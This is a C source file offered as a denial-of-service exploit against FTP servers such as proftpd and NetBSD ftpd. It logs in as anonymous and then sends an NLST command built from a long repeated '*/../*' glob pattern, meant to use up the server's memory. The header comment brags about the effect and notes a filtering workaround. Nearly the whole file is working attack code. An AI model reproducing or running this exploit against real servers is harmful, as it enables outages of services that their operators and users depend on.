/* * This code exploits a bug in the glob() function used * in some ftpd's (like proftpd, netbsd ftpd, iis ftpd, ...) * it sends a 'ls' command for * /../* * which will take up about 100% of a systems memory and * creating a VERY effective DoS ! * * a workaround for this DoS is to filter out strings that * can be used to abuse the glob() function ! * * This program was coded by R00T-dude * * Greetz to: f0bic, incubus, t-omicron, nostalgic, zym0t1c, * tosh, vorlon, cicero, sentinel, shaolin_p, so many others ! * */ #include <stdio.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <string.h> #define USER "anonymous" /* change if needed */ #define PASS "rdude@just.dossed.y0u.org" /* change if needed */ #define PORT 21 /* change if needed */ #define DELAY 2 main(int argc, char **argv) { int sock, conn, i; char buffer[250]; char user[30]; char pass[30]; struct hostent *hp; struct sockaddr_in sin; if (argc < 2) { printf("useage :: %s ip/hostname ", argv[0]); printf("example : %s 127.0.0.1 \n", argv[0]); exit(0); } if ((hp=gethostbyname(argv[1])) == NULL ) { perror("gethostbyname() failed :"); exit(-1); } sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket() failed :"); exit(sock); } sin.sin_family = AF_INET; sin.sin_port = htons(PORT); sin.sin_addr.s_addr = inet_addr(argv[1]); conn = connect(sock, (struct sockaddr *)&sin, sizeof(sin)); if (conn < 0) { perror("connect() failed :"); exit(conn); } printf("ok, connected, lets's log in shall we ... \n"); sprintf(user, "USER %s\r\n", USER ); sprintf(pass, "PASS %s\r\n", PASS ); write(sock,user,strlen(user)); printf("sended : %s", user); sleep(DELAY); write(sock,pass,strlen(pass)); printf("sended : PASS "); for (i=0; i < strlen(PASS); i++) { printf("*"); } printf("\n"); sleep(DELAY); bzero(buffer, sizeof(buffer)); sprintf(buffer, "EPSV\n"); write(sock,buffer,strlen(buffer)); printf("sended : %s", buffer); sleep(DELAY); bzero(buffer, sizeof(buffer)); sprintf(buffer, "PASV\n"); write(sock,buffer,strlen(buffer)); printf("sended : %s", buffer); sleep(DELAY); bzero(buffer, sizeof(buffer)); sprintf(buffer, "NLST */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*\n"); write(sock,buffer,strlen(buffer)); printf("sended : %s", buffer); sleep(DELAY); close(sock); }